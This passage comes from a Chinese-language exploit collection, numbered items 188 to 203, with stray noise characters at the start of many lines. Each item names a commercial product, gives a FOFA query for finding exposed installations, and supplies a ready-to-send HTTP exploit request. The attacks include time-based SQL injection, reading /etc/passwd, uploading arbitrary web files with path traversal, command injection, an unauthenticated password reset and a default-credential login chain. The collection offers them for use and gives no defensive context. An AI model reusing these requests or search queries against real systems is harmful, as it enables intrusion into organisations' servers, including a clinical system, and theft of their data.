: _; i3 j- I4 @  K# z2 T7 Oobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1

3 ]3 k- x. q- u) b8 T$ G
188. 叁体-佳会视频会议 attachment 任意文件读取
- A3 I% `: L% ]) E8 ~5 h. vversion <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
( K# I1 m' p* KGET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
( r4 I+ A% i- k4 A) x+ HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 i5 M+ x) R4 }2 AAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
4 s5 ?5 N) j7 O$ j0 f( ^Connection: close


189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
( E9 ~* [* R) n, Z$ AHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
7 I. F+ G# J- `7 zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
' J  h% m7 \0 h2 ?! G1 iAccept-Language: zh-CN,zh;q=0.9
/ E7 ?+ d, P7 ?4 n& NConnection: close


, V; Z- o9 y. t/ ?190. 短视频矩阵营销系统 poihuoqu 任意文件读取
5 ~1 ?; F0 @( `. L0 s  q" fFOFA：title=="短视频矩阵营销系统"
# W& H! C4 I* V( J1 `POST /index.php/admin/Userinfo/poihuoqu HTTP/2
0 J$ {8 v0 a4 M( ]( X0 Q8 mHost: your-ip
, a( e, x% }+ l$ aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
- c, x' D6 Q5 w4 vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
5 ~1 c# U# A- \9 @" s: nContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

poi=file:///etc/passwd


4 v) R3 S6 u' c: u7 I191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
2 d6 n+ @, u8 g9 H' O9 Q$ bHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
9 V: U2 w8 O0 Q- O/ RContent-Type: application/x-www-form-urlencoded
0 F4 `1 U8 O, G% F# _6 ?7 [
+ a- p2 _* O1 |2 b/ {& `0 K! a) B. {command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
5 ~2 }. e" n9 R. [
$ Q! e; d* y# x
' r5 Q/ h. l( T% h! c6 K192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
4 W2 ~' G- q  U  [( ZFOFA：title="用户登录_富通天下外贸ERP"
, Q6 @4 @3 Q$ O8 g. }* ^POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded

  Y) V6 i9 i% C- l) ^1 y
  S- d  }. L5 F! E<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
public class AverageHandler : IHttpHandler
+ X. J# e" S. d  @6 I1 C$ \{
public bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
% R$ Y3 E) A$ g) b! h0 o& G{
) f8 r  t4 o6 c  a8 N" a/ \( Lctx.Response.Write("test");
}
}
2 d- }) f- A( Q( f/ P, V

193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
$ N0 b: W1 |& a3 M( V* Z/ O9 eFOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
$ a$ Q  h* ]8 H! f' _Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
; Z1 x3 y" A! A& F

& a6 r5 A/ Y; K: v4 s: cPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
  x- ^- w; ]7 y9 yUser-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
$ K+ J' S; X3 _) A, o" f9 [Connection: close
- D" F: M; N- X7 dCookie: PHPSESSID=2333333333333;
6 W" H' a& ^' I- PContent-Type: application/x-www-form-urlencoded
6 G+ X% D& M+ R1 F) `2 c8 [Content-Length: 84
+ f$ B9 _" u7 L7 o$ {4 i
param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
  E7 k8 j1 a; C( |0 f
: O/ b6 m, {( M  a6 z8 p
GET /master/img/config HTTP/1.1
Host:
, R7 u, o8 Z+ EUser-Agent: Mozilla/5.0
; ^! I& d1 H6 b
* c( f" w" O  T0 r
1 @* R( _/ y0 a194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
/ n, M! N; G7 ]% I
- t0 Z, T) Q" y; l1 WPOST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
8 E, f: G$ Z) r; I/ o+ YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
0 \  I# y& j; J& m" o. t" ^Connection: close
: W. C+ U. T: A$ {, _6 CContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
' X# M2 {- l, }/ [5 \; _5 A------WebKitFormBoundaryKNt0t4vBe8cX9rZk
* k7 J9 k) c  B+ s) H
- B( K* R8 R/ J+ v6 ?Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
<% out.println("hello");%>
, }! K$ S& K1 p; |4 N# c6 l6 Y, I------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
) f3 q- y6 |; a$ z: |$ w/ P7 o0 G {"iq":{"query":{"UpdateType":"mail"}}}
6 U4 P1 a) V( E& ?# x------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

0 r- v3 A( a2 ^# v# A9 D, p
, n  V$ S' b6 b! j; e) s! s( k195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
1 {* i' Q1 y/ ^3 g4 U) k4 mFOFA：title=="飞鱼星企业级智能上网行为管理系统
) q/ n" s2 r- i8 K6 l. iPOST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
" M: u* F2 X. z# z+ P; w6 q. gPragma: no-cache
* Z" s, P- b0 {$ vCache-Control: no-cache
. v, _+ a* Y7 ~0 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
, B8 {" i. ?1 q& Z+ Q7 J$ wAccept-Encoding: gzip, deflate
7 C" {# A  s: [# ]) WAccept-Language: zh-CN,zh;q=0.9
  n- U$ {1 O1 P% Y' TConnection: close
$ ^6 q) ]4 Y+ M) Q! rContent-Type: application/x-www-form-urlencoded
) |0 d* C1 m7 U4 uContent-Length: 68
: f9 p% G- P2 T) o
: w, E" j5 H+ K4 X{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}

8 G7 [3 w" a9 I/ D
196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
% G- v, F- g2 M( h1 v* I0 SX-Requested-With: XMLHttpRequest
- N$ u  F$ I5 l4 {) [1 z* WHost:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
; x( x) r0 ]2 ^( k( KContent-Length: 45
Connection: close

4 \2 f4 I3 Z* T% |/ R{"xgh":"test","newPass":"test666","email":""}

5 J* O- N# {8 T# Q0 [

197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
5 v  w6 [% @9 Y+ p) RFOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
9 w' B7 S3 c, P% H, }! GHost:
0 w5 e5 l$ A3 m$ PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
; O8 r  D. f. A4 W+ P8 ]3 Y4 dAccept-Encoding: gzip, deflate
Connection: close
, z  S" A9 x: }
, c; e$ W) L8 d$ R1 p
2 E: q  S1 k$ ~# w( `
198.  阿里云盘 WebDAV 命令注入
) l) e% E4 h' i! `CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
& Y% ~( I/ d  F) l/ kAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

7 n5 x" t% k3 }0 X2 f* u6 D
199. cockpit系统assetsmanager_upload接口 文件上传

2 c7 }- x) q6 I$ S8 @3 g) S* O+ b1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
& v8 x9 u  U% w, l; Y; H' PGET /auth/login?to=/ HTTP/1.1

: u" I1 m* s0 |$ I1 z响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
) |+ q5 [0 [! a" O- l: n' P
2.使用刚才上一步获取到的jwt获取cookie：
; M( e/ _8 e% R
9 K6 y2 P7 r& w/ F  i& o+ b0 D3 EPOST /auth/check HTTP/1.1
( w, F1 A. v" B/ k& @7 g( RContent-Type: application/json
( [, t7 p' W& q; |  i
{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
0 @/ ?3 K, k& E
响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92
# c5 o* }4 G7 b8 q) E( w
2 n. a/ [3 c" |& G% u9 w0 B-----------------------------36D28FBc36bd6feE7Fb3
( `' r& Q% N6 b3 c2 B+ F  u% BContent-Disposition: form-data; name="files[]"; filename="tttt.php"
: T0 Y& r6 r0 x* ?; p9 e) ]Content-Type: text/php
5 m' b: h& P1 d& |" o9 P! n  X
<?php echo "tttt";unlink(__FILE__);?>
2 P3 m. ]9 C# t% l-----------------------------36D28FBc36bd6feE7Fb3
- n' z* E3 F; |  q1 SContent-Disposition: form-data; name="folder"

$ _$ ~' c( M0 Y) h! Q-----------------------------36D28FBc36bd6feE7Fb3--
0 h# \$ _5 p: D1 B, ?
5 p3 q( X' l0 f
" I4 H0 i9 R+ F! [; j/ d' ]# @/storage/uploads/tttt.php
* M8 ~5 r* N) z& b, G2 r" M
& f  ]  D% M: T3 m1 q: S200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
0 I$ T3 \. Y7 u% AGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
/ P. w7 f0 v4 M: kCache-Control: max-age=0
, E' c7 C1 e( k$ s. U8 ]) p) YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
/ A8 x- U9 J/ w2 b" q1 b
" ?3 \7 f# m) {
4 K5 m! T! p: U% P  {+ Y* ?+ p201. 方正全媒体新闻采编系统 binary SQL注入
& j6 S. V4 `: q5 a* D4 }FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
. z; d/ c2 d2 b+ fPOST /newsedit/newsplan/task/binary.do HTTP/1.1
0 ^: m, t* P+ `8 fContent-Type: application/x-www-form-urlencoded
% W& [, T( m, {& z' d& a; b( yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. e, F3 `5 `, L7 l# @/ V0 ?; dAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 |7 f1 j; ?2 ?* L" wConnection: close
, [8 c  J( T; n) X* a. V: C1 l
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
" I7 D" c, _3 u& k2 Y% a( N$ h

202. 微擎系统 AccountEdit任意文件上传
5 M. O, Z2 i2 k1 s9 y+ E" ]FOFA：body="/Widgets/WidgetCollection/"
" ~! N# L  V. ~$ p获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
! b4 e* F+ K: w" B6 |Host: 滑板人之家
. b4 B/ n6 `6 tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
9 W7 w- n$ e( O5 |) d( |Content-Length: 0
" Q8 C& y7 x8 G+ S* F' N1 B
9 y& t* i' ?; @
5 q& o3 P9 |: e替换__VIEWSTATE和__EVENTVALIDATION值
. X; ^( p  o$ ^3 p( W5 xPOST /User/AccountEdit.aspx HTTP/1.1
8 O; n/ M7 F7 J7 W3 EAccept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
$ a: G' i$ ^. [: Z
- M, p  y/ G! w' c- N! k-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
' x, J  r: d5 f  e) }
0 A  Z# q! l8 ^% {# l" Z6 Q! @__VIEWSTATE
# O: W* i( v- k" u9 O( {-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
& S- m4 O+ ]- Y/ @% p  w$ e-----------------------------786435874t38587593865736587346567358735687
; H7 F  o8 P# t! x9 VContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

$ D& u' `8 C4 o6 d2 wHello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
  o. X7 E$ E- Y! f
  J8 {/ y2 k; t9 O4 @上传图片
$ }: I, q# q3 @2 a; f4 V-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
: `; E+ x% A7 D/ @

3 b. v$ N, h4 P- j& y% |% z0 S-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
) E  ~5 y% c" c4 t" t& q8 T9 `& [2 u
$ |! \8 `) R! @( r- q$ m' b9 @1 ^3 J
5 F$ U6 e% {; d5 T+ L: B-----------------------------786435874t38587593865736587346567358735687--


/_data/Uploads/1123.txt

203. 红海云EHR PtFjk 文件上传
% K# p$ ]- m& R: M+ N/ ^5 O) AFOFA：body="RedseaPlatform"
! ^8 k' g) T# e& v" w( L& J- u' k5 qPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
3 v" D+ p- [1 ~9 \/ d! v$ _Host: x.x.x.x
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
2 v8 _3 x- {  g' BContent-Length: 210

. i* M  P' C) y; ~$ Y------WebKitFormBoundaryt7WbDl1tXogoZys4
! W5 O- \/ f, y% @" |1 BContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
9 f2 z9 P% _% K4 r7 a  z6 DContent-Type:image/jpeg
6 F1 D, l) H2 c1 F/ q
<% out.print("hello,eHR");%>
( N: `& A% r' y( `& m------WebKitFormBoundaryt7WbDl1tXogoZys4--

' D! m& J3 I- y( `: D7 r
0 `+ r) T7 B( I# m/ \) v! K